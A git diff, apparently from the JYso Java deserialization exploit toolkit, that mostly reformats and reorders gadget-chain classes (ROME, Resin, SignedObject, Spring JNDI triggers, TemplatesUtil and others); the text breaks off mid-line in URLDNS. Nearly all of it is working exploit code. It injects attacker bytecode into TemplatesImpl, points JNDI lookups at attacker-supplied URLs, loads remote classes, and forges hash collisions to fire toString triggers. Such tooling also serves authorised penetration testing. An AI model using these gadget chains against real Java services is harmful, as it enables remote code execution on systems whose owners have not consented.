releasePayload(payload, payloadObject); - } catch (Exception e) { - e.printStackTrace(); - } - - } - //生成随机字符 public static String generateRandomString(int length) { - String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; - StringBuilder sb = new StringBuilder(); + String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + StringBuilder sb = new StringBuilder(); Random random = new Random(); for (int i = 0; i < length; i++) { - int index = random.nextInt(characters.length()); + int index = random.nextInt(characters.length()); char randomChar = characters.charAt(index); sb.append(randomChar); } @@ -101,4 +74,4 @@ public interface ObjectPayload { return sb.toString(); } } -} +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME.java b/src/main/java/com/qi4l/JYso/gadgets/ROME.java index d4dcbef..01740ae 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME.java @@ -33,7 +33,7 @@ public class ROME implements ObjectPayload { final Object templates; templates = Gadgets.createTemplatesImpl(command); ObjectBean delegate = new ObjectBean(Templates.class, templates); - ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); return Gadgets.makeMap(root, root); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME3.java b/src/main/java/com/qi4l/JYso/gadgets/ROME3.java index 504c082..0fa6b93 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME3.java @@ -11,12 +11,12 @@ import javax.xml.transform.Templates; @Authors({"Firebasky"}) @Dependencies("rome:rome:1.0") -public class ROME3 implements ObjectPayload{ +public class ROME3 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - Object o = Gadgets.createTemplatesImpl(command); + Object o = Gadgets.createTemplatesImpl(command); ObjectBean delegate = new ObjectBean(Templates.class, o); - BadAttributeValueExpException b = new BadAttributeValueExpException(""); + BadAttributeValueExpException b = new BadAttributeValueExpException(""); Reflections.setFieldValue(b, "val", delegate); return b; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java index 646ea5a..dc9048b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java @@ -7,6 +7,15 @@ import com.sun.rowset.JdbcRowSetImpl; public class ROMEJDBC implements ObjectPayload { + // Assuming JDKUtil class with makeJNDIRowSet method + public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiUrl); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + return rs; + } + @Override public Object getObject(String command) throws Exception { // Assuming makeJNDIRowSet is a static method in JDKUtil @@ -23,13 +32,4 @@ public class ROMEJDBC implements ObjectPayload { return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object } - // Assuming JDKUtil class with makeJNDIRowSet method - public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { - JdbcRowSetImpl rs = new JdbcRowSetImpl(); - rs.setDataSourceName(jndiUrl); - rs.setMatchColumn("foo"); - Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); - return rs; - } - } diff --git a/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java b/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java index 7212497..12f6730 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java @@ -2,5 +2,5 @@ package com.qi4l.JYso.gadgets; public interface ReleaseableObjectPayload extends ObjectPayload { - void release(T obj) throws Exception; + void release(Object obj) throws Exception; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java b/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java index b90cac2..e233b19 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java +++ b/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java @@ -16,7 +16,7 @@ public class RenderedImage implements ObjectPayload { } public static byte[] hexToByteArray(String inHex) { - int hexlen = inHex.length(); + int hexlen = inHex.length(); byte[] result; if (hexlen % 2 == 1) { hexlen++; @@ -44,7 +44,7 @@ public class RenderedImage implements ObjectPayload { String host = command.substring(0, sep); String port = command.substring(sep + 1); - String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; + String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex))); SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Resin.java b/src/main/java/com/qi4l/JYso/gadgets/Resin.java index 82fb77c..e3ec0f3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Resin.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Resin.java @@ -11,12 +11,50 @@ import java.lang.reflect.Constructor; import java.net.URI; import java.util.Hashtable; -public class Resin implements ObjectPayload{ +public class Resin implements ObjectPayload { + public static Object makeToStringTrigger(Object o) throws Exception { + String unhash = unhash(o.hashCode()); + XString xString = new XString(unhash); + return JDKUtil.makeMap(o, xString); + } + + public static String unhash(int hash) { + int target = hash; + StringBuilder answer = new StringBuilder(); + if (target < 0) { + // String with hash of Integer.MIN_VALUE, 0x80000000 + answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); + + if (target == Integer.MIN_VALUE) + return answer.toString(); + // Find target without sign bit set + target = target & Integer.MAX_VALUE; + } + + unhash0(answer, target); + return answer.toString(); + } + + private static void unhash0(StringBuilder partial, int target) { + int div = target / 31; + int rem = target % 31; + + if (div <= Character.MAX_VALUE) { + if (div != 0) + partial.append((char) div); + partial.append((char) rem); + } else { + unhash0(partial, div); + partial.append((char) rem); + } + } + @Override public Object getObject(String command) throws Exception { //需要处理command return makeResinQName(command); } + public Object makeResinQName(String command) throws Exception { Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); @@ -27,7 +65,7 @@ public class Resin implements ObjectPayload{ //考虑换成其他的 URI uri = new URI(command); String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; - cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ])); + cpe.setResolvedObj(new Reference("Foo", args[1], args[0])); Reflections.setFieldValue(cpe, "suppressedExceptions", null); DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); @@ -35,42 +73,4 @@ public class Resin implements ObjectPayload{ return makeToStringTrigger(qName); } - public static Object makeToStringTrigger ( Object o ) throws Exception { - String unhash = unhash(o.hashCode()); - XString xString = new XString(unhash); - return JDKUtil.makeMap(o, xString); - } - - public static String unhash ( int hash ) { - int target = hash; - StringBuilder answer = new StringBuilder(); - if ( target < 0 ) { - // String with hash of Integer.MIN_VALUE, 0x80000000 - answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); - - if ( target == Integer.MIN_VALUE ) - return answer.toString(); - // Find target without sign bit set - target = target & Integer.MAX_VALUE; - } - - unhash0(answer, target); - return answer.toString(); - } - - private static void unhash0 ( StringBuilder partial, int target ) { - int div = target / 31; - int rem = target % 31; - - if ( div <= Character.MAX_VALUE ) { - if ( div != 0 ) - partial.append((char) div); - partial.append((char) rem); - } - else { - unhash0(partial, div); - partial.append((char) rem); - } - } - } diff --git a/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java b/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java index 2f97f85..2f569ea 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java @@ -2,7 +2,11 @@ package com.qi4l.JYso.gadgets; import javax.script.ScriptEngineFactory; -public class ServiceLoader implements ObjectPayload{ +public class ServiceLoader implements ObjectPayload { + public static Object makeServiceLoader(UtilFactory uf, String[] args) throws Exception { + return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class)); + } + @Override public Object getObject(String command) throws Exception { UtilFactory uf = new UtilFactory(); @@ -10,7 +14,4 @@ public class ServiceLoader implements ObjectPayload{ return makeServiceLoader(uf, args); } - public static Object makeServiceLoader ( UtilFactory uf, String[] args ) throws Exception { - return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class)); - } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java index 3c44f3f..f8d9b00 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java @@ -52,7 +52,7 @@ public class SignedObject implements ObjectPayload { throw new IllegalArgumentException("Command format is: ::::"); } - String type1 = commands[0]; + String type1 = commands[0]; Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length)); switch (type1.toLowerCase()) { @@ -77,7 +77,7 @@ public class SignedObject implements ObjectPayload { public Object getOriginal(String[] args) throws Exception { final String payloadType = args[0]; - String command = args[1]; + String command = args[1]; // 支持单双引号 if (command.startsWith("'") || command.startsWith("\"")) { @@ -87,11 +87,11 @@ public class SignedObject implements ObjectPayload { String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command); final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); - ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject(realCmd); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(realCmd); if (args.length >= 3) { - final String type = args[2]; + final String type = args[2]; final String length = args[3]; object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap(); } @@ -104,11 +104,11 @@ public class SignedObject implements ObjectPayload { public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - Map old = new HashMap(); - Transformer invoke = new InvokerTransformer("toString", null, null); - Map newMap = LazyMap.decorate(old, invoke); - TiedMapEntry entry = new TiedMapEntry(newMap, obj); - Map ht = new HashMap(); + Map old = new HashMap(); + Transformer invoke = new InvokerTransformer("toString", null, null); + Map newMap = LazyMap.decorate(old, invoke); + TiedMapEntry entry = new TiedMapEntry(newMap, obj); + Map ht = new HashMap(); ht.put(entry, obj); newMap.remove(obj); @@ -121,8 +121,8 @@ public class SignedObject implements ObjectPayload { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer("toString", new Class[0], new Object[0]); - TransformingComparator comp = new TransformingComparator((org.apache.commons.collections4.Transformer) transformer); - TreeBag tree = new TreeBag((Comparator) comp); + TransformingComparator comp = new TransformingComparator((org.apache.commons.collections4.Transformer) transformer); + TreeBag tree = new TreeBag((Comparator) comp); tree.add(obj); Reflections.setFieldValue(transformer, "iMethodName", "getObject"); return tree; @@ -133,8 +133,8 @@ public class SignedObject implements ObjectPayload { public Object getSignedObjectWithCB(Object serObj) throws Exception { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - final BeanComparator comparator = new BeanComparator("lowestSetBit"); - final PriorityQueue queue = new PriorityQueue(2, comparator); + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); @@ -145,7 +145,7 @@ public class SignedObject implements ObjectPayload { // Hibernate 二次反序列化 public Object getSignedObjectWithHibernate(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject"); return Hibernate1.makeCaller(obj, getters); } @@ -153,36 +153,36 @@ public class SignedObject implements ObjectPayload { // Rome 二次反序列化 public Object getSignedObjectWithRome(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); - ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); return Gadgets.makeMap(root, root); } // Spring-Core 二次反序列化 public Object getSignedObjectWithSpring(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class); - Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); - Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); + Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); - final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); Reflections.setFieldValue(mitp, "methodName", "getObject"); return mitp; } // Rhino 二次反序列化 public Object getSignedObjectWithRhino(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - ScriptableObject dummyScope = new Environment(); + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ScriptableObject dummyScope = new Environment(); Map associatedValues = new Hashtable(); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); - Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); + Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); ScriptableObject initContextScriptableObject = new Environment(); - Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); Reflections.setAccessible(makeSlot); Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); Reflections.setFieldValue(slot, "getter", initContextMemberBox); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java index ddf15ca..7dbb667 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java @@ -66,7 +66,7 @@ public class Spring1 implements ObjectPayload { forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); - final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); Reflections.setFieldValue(mitp, "methodName", "newTransformer"); return mitp; diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java b/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java index 499c07c..92bc799 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java @@ -6,29 +6,31 @@ import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; import org.springframework.beans.factory.BeanFactory; import org.springframework.jndi.support.SimpleJndiBeanFactory; -public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload{ - @Override - public Object getObject(String command) throws Exception { - return makeBeanFactoryPointcutAdvisor(command); - } - public Object makeBeanFactoryPointcutAdvisor (String args ) throws Exception { - String jndiUrl = args; - UtilFactory uf = new UtilFactory(); - BeanFactory bf = makeJNDITrigger(jndiUrl); - return makeBeanFactoryTriggerBFPA(uf,jndiUrl, bf); - } - - public static Object makeBeanFactoryTriggerBFPA (UtilFactory uf,String name, BeanFactory bf ) throws Exception { +public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload { + public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception { DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); pcadv.setBeanFactory(bf); pcadv.setAdviceBeanName(name); return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); } - public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { + + public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception { SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); return bf; } + + @Override + public Object getObject(String command) throws Exception { + return makeBeanFactoryPointcutAdvisor(command); + } + + public Object makeBeanFactoryPointcutAdvisor(String args) throws Exception { + String jndiUrl = args; + UtilFactory uf = new UtilFactory(); + BeanFactory bf = makeJNDITrigger(jndiUrl); + return makeBeanFactoryTriggerBFPA(uf, jndiUrl, bf); + } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java b/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java index f9d4cf5..5c6c64f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java @@ -12,18 +12,8 @@ import org.springframework.jndi.support.SimpleJndiBeanFactory; import java.lang.reflect.InvocationTargetException; -public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload{ - @Override - public Object getObject(String command) throws Exception { - return makePartiallyComparableAdvisorHolder(command); - } - public Object makePartiallyComparableAdvisorHolder (String args ) throws Exception { - String jndiUrl = args; - UtilFactory uf = new UtilFactory(); - BeanFactory bf = makeJNDITrigger(jndiUrl); - return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf); - } - public static BeanFactory makeJNDITrigger (String jndiUrl ) throws Exception { +public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload { + public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception { SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); Reflections.setFieldValue(bf, "logger", new NoOpLog()); @@ -31,7 +21,7 @@ public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload{ +public class SpringPropertyPathFactory implements ObjectPayload { @Override public Object getObject(String command) throws Exception { String jndiUrl = command; diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java index 9f06f82..7aa4fef 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java @@ -28,10 +28,11 @@ public final class SpringUtil { /** * */ - private SpringUtil() {} + private SpringUtil() { + } - public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { + public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception { SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); Reflections.setFieldValue(bf, "logger", new NoOpLog()); @@ -40,7 +41,7 @@ public final class SpringUtil { } - public static BeanFactory makeMethodTrigger ( Object o, String method ) throws Exception { + public static BeanFactory makeMethodTrigger(Object o, String method) throws Exception { DefaultListableBeanFactory bf = new DefaultListableBeanFactory(); RootBeanDefinition caller = new RootBeanDefinition(); @@ -56,14 +57,14 @@ public final class SpringUtil { Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog()); Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>()); - @SuppressWarnings ( "unchecked" ) + @SuppressWarnings("unchecked") Map objs = (Map) Reflections.getFieldValue(bf, "singletonObjects"); objs.put("obj", o); return bf; } - public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception { + public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception { DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); pcadv.setBeanFactory(bf); pcadv.setAdviceBeanName(name); @@ -82,7 +83,7 @@ public final class SpringUtil { * @throws InvocationTargetException * @throws Exception */ - public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, + public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); Reflections.setFieldValue(aif, "beanFactory", bf); diff --git a/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java b/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java index e71d6fb..7a8e6be 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java @@ -18,6 +18,8 @@ import java.io.Serializable; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; public class TemplatesUtil { + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled System.setProperty(DESERIALIZE_TRANSLET, "true"); @@ -26,30 +28,8 @@ public class TemplatesUtil { System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } - public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - - public static class StubTransletPayload extends AbstractTranslet implements Serializable { - - private static final long serialVersionUID = -5971610431559700674L; - - - @Override - public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} - - - @Override - public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} - } - - // required to make TemplatesImpl happy - public static class Foo implements Serializable { - - private static final long serialVersionUID = 8207363842866235160L; - } - - - public static Object createTemplatesImpl ( final String[] args ) throws Exception { - if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) { + public static Object createTemplatesImpl(final String[] args) throws Exception { + if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) { return createTemplatesImpl( args, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), @@ -60,8 +40,7 @@ public class TemplatesUtil { return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } - - public static T createTemplatesImpl ( final String[] args, Class tplClass, Class abstTranslet, Class transFactory ) + public static T createTemplatesImpl(final String[] args, Class tplClass, Class abstTranslet, Class transFactory) throws Exception { final T templates = tplClass.newInstance(); @@ -75,12 +54,11 @@ public class TemplatesUtil { StringBuilder sb = new StringBuilder(); boolean first = true; - for ( String arg : args ) { + for (String arg : args) { - if ( !first ) { + if (!first) { sb.append(','); - } - else { + } else { first = false; } @@ -98,7 +76,7 @@ public class TemplatesUtil { final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance - Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ classBytes, ClassFiles.classAsBytes(Foo.class) }); @@ -107,4 +85,25 @@ public class TemplatesUtil { Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + } + + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + } + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java index ff49ab5..074f96e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java @@ -11,21 +11,21 @@ import java.util.function.Function; public class ToStringUtil { - public static Object makeToStringTrigger ( Object o, Function wrap ) throws Exception { + public static Object makeToStringTrigger(Object o, Function wrap) throws Exception { String unhash = unhash(o.hashCode()); XString xString = new XString(unhash); return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString)); } - public static Object makeToStringTrigger ( Object o ) throws Exception { + public static Object makeToStringTrigger(Object o) throws Exception { String unhash = unhash(o.hashCode()); XString xString = new XString(unhash); return JDKUtil.makeMap(o, xString); } - public static Object makeJohnzonToStringTrigger ( Object o ) throws Exception { + public static Object makeJohnzonToStringTrigger(Object o) throws Exception { Class clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$ Constructor dec = clz.getDeclaredConstructor(Map.class); dec.setAccessible(true); @@ -37,21 +37,21 @@ public class ToStringUtil { } - public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception { + public static Object makeSpringAOPToStringTrigger(Object o) throws Exception { return makeToStringTrigger(o, x -> { return new HotSwappableTargetSource(x); }); } - public static String unhash ( int hash ) { + public static String unhash(int hash) { int target = hash; StringBuilder answer = new StringBuilder(); - if ( target < 0 ) { + if (target < 0) { // String with hash of Integer.MIN_VALUE, 0x80000000 answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); - if ( target == Integer.MIN_VALUE ) + if (target == Integer.MIN_VALUE) return answer.toString(); // Find target without sign bit set target = target & Integer.MAX_VALUE; @@ -62,16 +62,15 @@ public class ToStringUtil { } - private static void unhash0 ( StringBuilder partial, int target ) { + private static void unhash0(StringBuilder partial, int target) { int div = target / 31; int rem = target % 31; - if ( div <= Character.MAX_VALUE ) { - if ( div != 0 ) + if (div <= Character.MAX_VALUE) { + if (div != 0) partial.append((char) div); partial.append((char) rem); - } - else { + } else { unhash0(partial, div); partial.append((char) rem); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java index 32f19cb..631bda0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -121,8 +121,8 @@ public class URLDNS implements ObjectPayload { public static Object getURLDNSGadget(String urls, String clazzName) throws Exception { HashMap hashMap = new 